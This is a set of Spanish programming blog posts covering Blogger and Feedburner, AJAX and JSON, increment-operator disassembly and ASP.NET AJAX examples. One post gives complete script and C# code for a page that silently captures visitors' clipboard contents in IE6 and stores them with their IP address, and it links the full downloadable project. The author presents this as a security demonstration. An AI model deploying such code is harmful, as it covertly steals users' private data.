Y ya que estaba de obras, he aprovechado para incluir utilidades para feeds de mano de Feedburner, con un interesante conjunto de herramientas para la suscripción que espero faciliten la vida a más de uno.
En ambos casos el cambio ha resultado sencillísimo. Ha bastado la inclusión de un registro CNAME en el panel de control DNS del dominio para declararlo como alias de un servidor Google y la modificación en un parámetro de la configuración Blogger para que el servidor comenzara a responder al nuevo nombre. El procedimiento viene muy bien descrito, aunque en inglés, en la dirección http://help.blogger.com/bin/answer.py?answer=55373&hl=en&ctx=rosetta.
Feedburner, como servicio con solera en este mundillo, ofrece también una instalación de lo más sencilla. Una vez completado el registro como usuario, dispone de un generador de código HTML a través del cual podremos ir añadiendo los enlaces a los distintos tipos de suscripción disponibles. Por tanto, como viene siendo habitual en estos servicios, todo se reduce, a lo sumo, a una secuencia de copiar y pegar.
De todas formas estaré durante un tiempo alerta por si detecto algo que funcione mal; confío que me aviséis si véis algo raro, eh?
He dejado para más adelante otros cambios que tengo en mente, como pegar el salto a WordPress, o modificar totalmente el aspecto de la página. Pero esto será ya otra historia...
Publicado por José M. Aguilar a las 6:45 p. m.
Etiquetas: aniversario, blogging, herramientas, servicios on-line
Lo primero es absolutamente cierto. Javascript es la base actual de AJAX; sin duda es el lenguaje de moda para la programación de funcionalidades avanzadas en cliente, está relativamente bien soportado por los navegadores modernos (o al menos son bien conocidas las particularidades de cada browser) y ofrece una potencia más que suficiente para lo que habitualmente pretendemos utilizarlo.
Lo segundo, la comunicación asíncrona con el servidor, es sólo relativamente cierto. Además de ser posible y útil la comuncación síncrona, hoy en día el término AJAX se utiliza con demasiada frecuencia; basta hacer una web tenga algún script para asegurar que estamos usando esa tecnología punta. Y no, señores, que los menús dinámicos ya se hacían con DHTML hace muuchos muuuchos años.
Sin embargo, hay librerías y frameworks AJAX que, entre otras características, incluyen funciones con efectos visuales realmente espectaculares, y esto cala muy rápidamente en los usuarios y desarrolladores al ser realmente sencillos de integrar y utilizar. De hecho, es fácil encontrar aplicaciones que utilizan de forma masiva estos componentes y no utilizan intercambio de datos alguno con el servidor.
Y por último, la gran decepción: no tiene por qué usarse XML. Lo que parecía tan obvio (de hecho, en un nuevo alarde de ignorancia y osadía lo aseguré en el post Llamar a servicios web con ASP.NET AJAX paso a paso), no es así la mayoría de las veces, y me explico.
XML, a pesar de su estandarización, interoperabilidad y claridad de lectura es lento a la hora de ser procesado. Si habéis probado a manejar un documento complejo usando XMLDOM o similares, habréis comprobado lo engorroso y lento que resulta recorrer o crear la estructura y acceder a sus elementos. Y claro, si se utiliza este lenguaje para comunicar cliente con servidor se supone que esta complejidad se produce en ambos extremos del intercambio de datos, lo cual no resulta agradable ni a la hora de desarrollarlo ni una vez puesto en explotación, puesto que se pretende que este intercambio sea rápido.
En su lugar se suelen utilizar formatos más ligeros, fácilmente procesables y manejables tanto desde cliente como desde servidor, y aquí la estrella es JSON (JavaScript Object Notation), un formato ligero para el intercambio de información basado, como XML, en texto plano, muy estructurado, de fácil lectura, con una gran difusión y, sobre todo, muy fácil de procesar tanto desde Javascript como desde software en servidor. Una prueba de su popularidad es que el propio Yahoo! adoptó JSON como formato de intercambio de datos con sus servicios, aunque sigue permitiendo XML.
Sin embargo, como siempre que existen distintas opciones para hacer lo mismo, hay un fuerte debate sobre la conveniencia de usar XML o JSON, con continuas luchas entre uno y otro bando en las que se aportan las ventajas de utilizar una opción y las debilidades de la opuesta. Vamos, lo de siempre (Windows/Linux, Internet Explorer/Firefox, PlayStation/Xbox, Burger King/Mc Donnald's...).
Como curiosidad, decir que se ha llegado a acuñar el término AJAJ para identificar a la tecnología que combina el Javascript Asíncrono con JSON (de ahí la "J" final), pero es obvio que el término no es tan atractivo como AJAX y ha sido descartado. Además, el uso de otros formatos de intercambios podría dar lugar a extrañas variaciones de las siglas que inundarían el ya colmado espacio mental reservado para estas aberraciones. Por ejemplo, si en vez de XML usamos HTML, la tecnología debería llamarse AJAH; si la complementamos con CSS podría ser AJACH; si usamos también comunicación síncrona necesitaríamos SAJACH. Y así hasta el infinito y más allá.
Por ello, y esto sí que es importante, parece que existe finalmente un gran consenso respecto a la utilización del término Ajax (mayúsculas la inicial, minúscula el resto), de forma que deje de ser un acrónimo y se convierta en un nombre propio que identifique a la filosofía, no al conjunto de tecnologías que se usan por debajo. Esto, además, supone un giro radical en su definición: mientras que AJAX es un término centrado en la tecnología, Ajax está centrado en el usuario, en lo que ve, en lo que obtiene, en su forma de relacionarse con el sistema, relegando los aspectos tecnológicos a un segundo plano.
Por cierto, otro día dedicaré un post en exclusiva a JSON, que creo que es lo suficientemente interesante como para dedicarle un ratito.
Publicado por José M. Aguilar a las 11:50 p. m.
Etiquetas: ajax, desarrollo, estándares, programación, web
Sí, he de admitir que es una pregunta rara, pero me la hago desde que conocí hace ya muchos años que en lenguaje C podía incrementar una variable de tres formas, autoincrementando (var++
), incrementando en uno (var+=1
) o sumando la unidad (var=var+1
)... ¿hay alguna diferencia entre ellas? Esta absurda inquietud la he mantenido durante lustros, viendo cómo estas construcciones se propagaban hacia lenguajes más actuales con sintaxis basada en C, como C++, C# o Java.
Claro está que desde el punto de vista semántico no existe diferencia alguna, pues todas comparten el mismo objetivo: incrementar en una unidad la variable indicada. Sin embargo, ¿existe diferencia en la forma en que el compilador las trata? ¿se genera código más eficiente utilizando una de ellas, o son absolutamente iguales?
Para responder a esta cuestión, he realizado una pequeña aplicación en varios lenguajes y plataformas, generado posteriormente un ejecutable y desensamblado el binario de salida con la herramienta correspondiente en cada caso. A continuación describo los resultados obtenidos.
En primer lugar, he atacado al lenguaje C, compilado bajo Linux con gcc y desensamblando con ndisasm.
La aplicación con la que he realizado las comprobaciones era la siguiente:
#include "stdio.h"
main()
{
int i;
i = 0x99f;
i++;
i += 1;
i = i + 1;
printf("Vale: %d", i);
}
Nota: el 0x99f con el que inicializo la variable "i" me sirve para buscar rápidamente en el código ensamblador dónde se encuentran las instrucciones a estudiar.
Bueno, a lo que vamos. Una vez compilado y desensamblado, el código que encuentro es:
...
mov word [di-0x8], 0x99f
add [bx+si], al
add word [di-0x8], byte +0x1
add word [di-0x8], byte +0x1
add word [di-0x8], byte +0x1
...
Según parece, el compilador gcc ha generado exactamente el mismo código en todos los casos. La verdad es que este resultado me ha sorprendido un poco, esperaba que se utilizaran en los primeros casos las instrucciones de incremento directo del procesador, optimizando el binario generado, pero no ha sido así. A la vista de esto, he preguntado a Google y parece ser que es un comportamiento recomendado para los compiladores de C, por lo que podemos dar por concluida esta línea de la investigación.
A continuación he pasado a C#, compilando tanto con .NET Framework de Microsoft como con Mono. La aplicación era similar a la anterior (traducida, obviamente), y el resultado en lenguaje intermedio (MSIL), obtenido tanto con ildasm como con su equivalente monodis es el mismo:
[...]
//000011: int i = 0x99f;
IL_0001: ldc.i4 0x99f
IL_0006: stloc.0
//000012: i++;
IL_0007: ldloc.0
IL_0008: ldc.i4.1
IL_0009: add
IL_000a: stloc.0
//000013: i += 1;
IL_000b: ldloc.0
IL_000c: ldc.i4.1
IL_000d: add
IL_000e: stloc.0
//000014: i = i + 1;
IL_000f: ldloc.0
IL_0010: ldc.i4.1
IL_0011: add
IL_0012: stloc.0
[...]
Podemos observar que, como en el caso anterior, el compilador no diferencia entre el tipo de incremento que utilicemos, da exactamente igual.
Por último, probamos con Java 5, utilizando el JDK de Sun. La aplicación es exactamente igual a las anteriores, con la correspondiente adaptación a este lenguaje, algo así como:
class Prueba
{
public static void main(String[] args)
{
int i = 0x99f;
i++;
i+=1;
i=i+1;
System.out.println("Vale: " + i);
}
}
El compilador de Java, en este caso, sí hace distinciones entre los dos primeros modelos de incremento y el tercero. El autoincremento e incremento los genera exactamente iguales, creando una instrucción bytecode de incremento en una unidad, mientras que el último lo crea como una suma; supongo que la primera será posible optimizarla y su ejecución será más rápida:
0: sipush 2463
3: istore_1
// i++:
4: iinc 1, 1
// i+=1:
7: iinc 1, 1
// i=i+1:
10: iload_1
11: iconst_1
12: iadd
13: istore_1
// Resto...
[...]
En resumidas cuentas, podemos usar con toda tranquilidad cualquiera de los operadores de suma para incrementar una variable, puesto que el código será igual de eficiente (o poco eficiente, según se mire) y prácticamente no tendrá incidencia en la velocidad de ejecución, al menos con las opciones de compilación por defecto. Sólo Java parece estar adelantado en este sentido, pues es capaz de distinguir estos casos.
Y sí, era una inquietud de lo más absurda, lo dije desde el principio, pero me he quedado muy tranquilo, y con una duda menos en mi saco de ignorancia.
Publicado por José M. Aguilar a las 11:40 p. m.
Etiquetas: .net, bytecode, c#, curiosidades, desarrollo, ensamblador, java, msil, optimización, programación
De hecho, si visitáis la página con IE6, podréis observar a la derecha un aviso en el que se advierte de la inseguridad a la que estáis expuestos al utilizarlo, mostrando además parte del contenido de vuestro portapapeles, es decir, lo último que habéis copiado (control+c), por ejemplo desde un editor de textos.
Si combinamos esta idea con la capacidad de ASP.NET AJAX, framework del que ya llevo publicados varios post, para invocar desde cliente funcionalidades en servidor, resulta un proyecto tan simple como interesante: crear una base de datos en servidor con el contenido del portapapeles de los visitantes de una página. Desde el punto de vista tecnológico, vamos a ver cómo podemos utilizar Ajax para comunicar un script cliente con un método de servidor escrito en C#; desde el punto de vista ético, lo que vamos a hacer pertenece un poco al lado oscuro de la fuerza: vamos a enviar al servidor (y éste lo va a almacenar) información importante, que puede llegar a ser muy sensible, sin que el usuario se percate de lo que está ocurriendo.
Para ello crearemos una página ASP.NET en la que introduciremos un código script que, una vez haya sido cargada, obtenga el contenido textual del portapapeles y lo envíe, utilizando un PageMethod, al servidor, quien finalmente introducirá este contenido y la dirección IP del visitante en una base de datos local. Como almacén vamos a usar SQL Express, pero podríamos portarlo fácilmemente a cualquier otro sistema.
Empezaremos desde el principio, como siempre. En primer lugar, recordar que es necesario haberse instalado las extensiones ASP.NET AJAX, descargables gratuitamente en esta dirección. Una vez realiza esta operación, podremos crear en Visual Studio 2005 un sitio web Ajax-Enabled, utilizando una de las plantillas que se habrán instalado en el entorno.
Después de esta operación, el entorno habrá creado por nosotros un sitio web con todas las referencias y retoques necesarios para poder utilizar AJAX. En particular, tendremos un Default.aspx cuyo único contenido es un control de servidor ScriptManager, del que ya hemos hablado en otras ocasiones.
Pues bien, acudiendo al código de la página (.aspx), introducimos ahora el siguiente script:
<script type="text/javascript">
$addHandler(window, "onload", salvaClipboard);
function salvaClipboard()
{
if (window.clipboardData)
{
var msg=window.clipboardData.getData('Text');
if (typeof(msg) != "undefined" &&
(msg != "") && (msg != null))
{
PageMethods.SaveClipboard(msg);
}
}
}
</script>
Nótese, en primer lugar, la forma en la que añadimos un handler al evento OnLoad de la ventana. El alias $addHandler, proporcionado por el framework Ajax en cliente, nos facilita la vinculación de funciones a eventos producidos sobre los elementos a los que tenemos acceso desde Javascript.
En segundo lugar, fijaos la forma tan sencilla de obtener el contenido del portapapeles de windows:
window.clipboardData.getData('Text');
. Los ifs previos y posteriores son simples comprobaciones para que el script no provoque errores en navegadores no compatibles con estas capacidades.Por último, una vez tenemos en la variable msg el texto, lo enviamos vía un PageMethod al servidor, que lo recibirá en el método estático correspondiente, definido en el code-behind de la misma página (default.aspx.cs). Como hemos comentado en otras ocasiones, es el ScriptManager el que ha obrado el milagro de crear la clase PageMethods e introducir en ella tantos métodos como hayan sido definidos en el servidor y así facilitar su llamada de forma directa desde el cliente.
Vayamos ahora al lado servidor. En el code-behind sólo hemos tenido que incluir el siguiente código en el interior de la clase:
[WebMethod()]
public static void SaveClipboard(string texto)
{
string client =
HttpContext.Current.Request.UserHostAddress;
SqlConnection conn =
new SqlConnection(Settings.Default.ConnStr);
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = "Insert into Portapapeles "+
"(Ip, Clipboard) Values (@ip, @texto)";
cmd.Parameters.AddWithValue("ip", client);
cmd.Parameters.AddWithValue("texto", texto);
try
{
conn.Open();
cmd.ExecuteNonQuery();
conn.Close();
}
catch (Exception ex)
{
// Nada que hacer!
}
}
Simple, ¿eh? La llamada a PageMethod.SaveClipboard en el cliente invoca al método estático del mismo nombre existente en la página del servidor, siempre que éste haya sido adornado con el atributo
System.Web.Services.WebMethod
. El parámetro "texto", con el contenido del portapapeles del cliente, se recibe como string de forma directa y transparente, sin necesidad de hacer ninguna conversión ni operación extraña.Una vez obtenida también la IP del visitante usando el HttpContext (hay que recordar que el método es estático y por tanto no tiene acceso a las propiedades de la propia página donde está definido), se establece la conexión con la base de datos y se almacena la información.
Y eso es todo, amigos. Como habéis podido comprobar, es realmente sencillo utilizar Ajax para enviar desde el cliente información al servidor utilizando scripting y el framework AJAX proporcionado por Microsoft. Si esto lo unimos a la capacidad de extraer información local del equipo del visitante en determinados navegadores, los resultados pueden ser espectaculares y realmente peligrosos. Afortunadamente, las nuevas generaciones de browsers (IE7 incluido) se toman la seguridad algo más en serio y hacen más difícil la explotación de este tipo de funciones.
Finalmente, como siempre, indicar que he dejado en Snapdrive el proyecto completo, base de datos incluida, para que podáis probarlo (AjaxClipboardSpy.zip). Ojo, para que todo funcione debéis cambiar la ruta del archivo .MDF de SQL Express sobre el archivo Settings.settings de la aplicación.
Publicado por José M. Aguilar a las 11:50 p. m.
Etiquetas: .net, ajax, asp.net, bases de datos, herramientas, programación, seguridad, tecnología, web, xhtml
Hace unas semanas publicaba un par de posts con ejemplos de utilización del framework ASP.NET AJAX, donde se podía ver cómo invocar desde Javascript funcionalidades escritas en servidor y actualizar el contenido de una página web de forma dinámica, sin postback alguno.
En el primero de ellos veíamos cómo acceder a un servicio web desde javascript, paso a paso, mientras que en el segundo invocábamos funcionalidades de servidor llamando a métodos estáticos contenidos en el interior de una página (PageMethods). Sin embargo, en ambos casos se trataba de llamar a funciones que devolvían un string después de realizar alguna operación, y pudimos ver que resultaba realmente sencillo gracias al control ScriptManager incluido en la página.
Pero el framework AJAX va más allá, y permite incluso la comunicación cliente-servidor y viceversa utilizando entidades de datos propias. En otras palabras, podríamos retornar tipos complejos desde un método en servidor y utilizarlo desde cliente con toda la naturalidad del mundo, o instanciar en cliente tipos de datos declarados en servidor y enviárselos posteriormente para su tratamiento. Con esto conseguimos saltar lo que hasta ahora era una barrera infranqueable en una aplicación Web: el paso de entidades o datos estructurados de forma bidireccional entre cliente y servidor.
A lo largo de este post vamos a realizar un ejemplo completo que permite ilustrar cómo podemos hacer que un objeto se desplace cual pelota de ping-pong entre cliente y servidor sin provocar recargas de página completa. La lógica a implementar será bastante simple; como respuesta a la pulsación de un botón, el cliente generará un mensaje y se lo enviará al servidor. El mensaje será un objeto de tipo Mensaje, definida en C# (servidor) de la siguiente forma:
public class Mensaje
{
public string Remitente;
public string Destinatario;
public DateTime Fecha;
public int Numero;
}
Ya veremos como desde javascript podemos, de forma casi milagrosa, crear instancias de esta clase, acceder a sus atributos, enviar objetos al servidor, y obtenerlos desde éste de forma muy muy sencilla y transparente.
El primer mensaje enviado por el cliente establecerá la Fecha actual, el campo Numero a 1, el Remitente será un nombre introducido por pantalla y el Destinatario contendrá el valor "servidor". Cuando el servidor recibe este mensaje, incrementa el valor del atributo Numero, intercambia el remitente y el destinatario del mensaje y lo enviará de vuelta al cliente, quien lo dejará almacenado hasta que se vuelva a pulsar el botón de envío, que provocará de nuevo un intercambio del destinatario y el emisor del mensaje, así como un incremento del número de serie. El siguiente diagrama muestra una secuencia completa de este "peloteo":
Una vez explicado el escenario en el que vamos a jugar, pasamos a la acción, no sin antes recordar que necesitamos tener instalado el framework ASP.NET AJAX, descargable en la dirección http://ajax.asp.net/.
Partimos de un sitio web Ajax-Enabled, con todas las referencias y retoques en el web.config que el asistente de Visual Studio crea por nosotros. Este sitio, como ya se comentó en un post anterior, se puede crear utilizando la plantilla que se habrá instalado en nuestro entorno de desarrollo junto con el framework AJAX.
En primer lugar, vamos a montar el interfaz cliente, sobre el archivo default.aspx (reproduzco sólo las etiquetas incluidas entre la apertura y cierre del cuerpo <body> de la página):
<body>
<form id="form1" runat="server">
<fieldset>
<input type="text" id="nombre" />
<input id="Button1"
type="button"
value="¡Pulsa!" onclick="llamar();" />
</fieldset>
<asp:ScriptManager ID="ScriptManager1"
runat="server"
EnablePageMethods="True" />
</form>
<div>
<strong>Mensajes obtenidos:</strong>
<br />
<label id="lblMensajes" />
</div>
</body>
Podemos observar que hemos creado un formulario con un cuadro de edición y un botón. El primero servirá para que el usuario introduzca su nombre y el segundo para enviar el mensaje al servidor. Es importante destacar que en ninguno de los dos casos se trata de controles de servidor, no hay runat="server" por ninguna parte. No es necesario debido a que todo se realizará en cliente, y las funcionalidades de servidor se invocarán mediante AJAX.
Después de estos se ha incluido el ScriptManager, que ya en otras ocasiones hemos identificado como el responsable de hacer posible la magia, el acceso transparente a las funcionalidades de servidor. En este caso, le hemos activado la propiedad EnablePageMethods para que podamos llamar con javascript a un método estático de servidor definido en el código de la página actual, en el code-behind (default.aspx.cs).
Por último, disponemos de una etiqueta donde iremos mostrando de forma sucesiva los mensajes intercambiados entre ambos extremos, modificando su contenido de forma dinámica.
Pasemos ahora a la parte de lógica en cliente, las funciones javascript. En primer lugar tenemos la función llamar(), establecida como controlador del evento click del botón del formulario:
function llamar()
{
var msg;
if (ultimoMensaje == null)
{
msg = new Mensaje();
msg.Remitente = $get("nombre").value;
msg.Numero = 1;
}
else
{
msg = ultimoMensaje;
msg.Remitente = ultimoMensaje.Destinatario;
msg.Numero = ultimoMensaje.Numero + 1;
}
msg.Destinatario = "servidor";
msg.Fecha = new Date();
mostrarMensaje(msg);
PageMethods.EcoMensaje(msg, OnOK);
}
Creo que se puede entender simplemente leyendo el código, pero lo explico un poco. La primera vez que se ejecuta la función atendiendo a la pulsación del botón, se crea en cliente una instancia de la clase Mensaje, asignando a sus atributos los valores iniciales: el remitente (tomado del cuadro de edición), el número de serie (inicialmente 1), el destinatario y la fecha del envío. La variable ultimoMensaje almacenará el último mensaje obtenido del servidor (ya lo veremos más adelante) y sólo será nula la primera vez; en las sucesivas entradas a la función llamar(), ésta se limitará a incrementar el número de serie del mensaje, y a intercambiar el remitente por el destinatario.
Eh, pero un momento... decíamos que la clase Mensaje se había creado en el servidor, en C#, ¿cómo es posible que podamos instanciar en cliente una clase definida en servidor? Pues como siempre, gracias a la intermediación del ScriptManager, que ha detectado que existe un PageMethod que utiliza la clase y ha creado una clase "espejo" en cliente. Desde luego es impresionante lo bien que hace su trabajo este chico.
Volviendo al código anterior, podemos observar que además de componer el objeto a enviar al servidor, se llama a la función mostrarMensaje()
, cuyo único objetivo es mostrar el mensaje en pantalla, añadiéndolo al contenido de la etiqueta "lblMensajes" definida en el interfaz. Por último, llama al método EcoMensaje
de la clase PageMethods que el ScriptManager ha creado para nosotros, provocando la llamada asíncrona al método en servidor, al que además envía el Mensaje
creado. El segundo parámetro de la llamada indica la función de notificación asíncrona, donde se enviará el control una vez el servidor devuelva la respuesta, cuyo código es así de simple:
function OnOK(mensaje)
{
ultimoMensaje = mensaje;
mostrarMensaje(mensaje);
}
Está claro, ¿no? A nuestra función de notificación llega como parámetro que es el valor retornado por el método del servidor al que hemos invocado. Como veremos un poco más adelante, este método devuelve un objeto de tipo Mensaje
, que podemos almacenar en la variable ultimoMensaje
y mostrar por pantalla como hacíamos justo antes de llamar al servidor.
Y veamos ahora la parte del servidor, escrita en C# en el archivo code-behind "Default.aspx.cs". Por una parte tenemos definida la clase Mensaje
, con el código que hemos visto un poco más arriba, y el método de página (Page Method) al que estamos invocando desde el script:
[WebMethod()]
public static Mensaje EcoMensaje(Mensaje m)
{
m.Numero = m.Numero + 1;
string tmp = m.Destinatario;
m.Destinatario = m.Remitente;
m.Remitente = tmp;
m.Fecha = DateTime.Now;
return m;
}
Atención aquí. El método, marcado con el atributo WebMethod()
para que el ScriptManager sepa que existe, recibe como parámetro el Mensaje que hemos enviado desde el cliente. De nuevo el framework está haciendo magia poniendo a nuestra disposición el mensaje en el idioma que habla el servidor, como una clase cualquiera escrita en .NET. Es la infraestructura AJAX la que está encargándose de convertir los datos enviados desde el cliente en formato JSON en una instancia de la clase, con sus correspondientes campos rellenos.
Obsérvese además que desde el código simplemente tomamos el objeto que nos ha enviado el cliente, le asignamos valores a sus atributos y lo enviamos de vuelta al mismo. Para que la función OnOk, descrita anteriormente, reciba este objeto como parámetro en formato nativo javascript, la infraestructura Ajax deberá serializar la clase .NET y enviarla de vuelta, también utilizando JSON (por cierto, a ver si otro día me acuerdo y hablamos un rato sobre JSON, un tema interesante!).
A continuación se muestra una captura de pantalla del sistema en funcionamiento:
Como de costumbre, he puesto en Snapdrive una copia del proyecto VS2005 completo, para los que quieran jugar un poco con esto sin molestarse demasiado. Puedes descargarlo aquí: AjaxPingPong.zip.
Publicado por José M. Aguilar a las 11:30 p. m.
Etiquetas: ajax, asp.net, desarrollo, programación, tecnología, web
Se trata de SelectOracle (algo así como Selectoráculo), una herramienta on-line que traduce cadenas de selectores, indicados según el estándar CSS 3.0, al español, inglés y, de forma aún incompleta, al alemán y búlgaro.
¿Y qué signica esto? Para que os hagáis una idea, reproduzco una serie de selectores que le he enviado y la respuesta que me ha devuelto la herramienta:
Selector: *
Traducción: Selecciona cualquier elemento.
Selector: p a
Traducción: Selecciona cualquier elemento a que es descendiente de un elemento p.
Selector: div#main > p + a[title]
Traducción: Selecciona cualquier elemento a con un atributo title que sigue inmediatamente a un elemento p que es hijo de un elemento div con un atributo id que equivale a main.
Como se puede ver, es en casos con cierta complejidad como este último donde la herramienta puede sernos de ayuda.
Una prueba más de que en internet hay de todo, sólo hace falta buscar un poco.
Publicado por José M. Aguilar a las 11:10 p. m.
Etiquetas: css, desarrollo, estándares, programación, servicios on-line, web, xhtml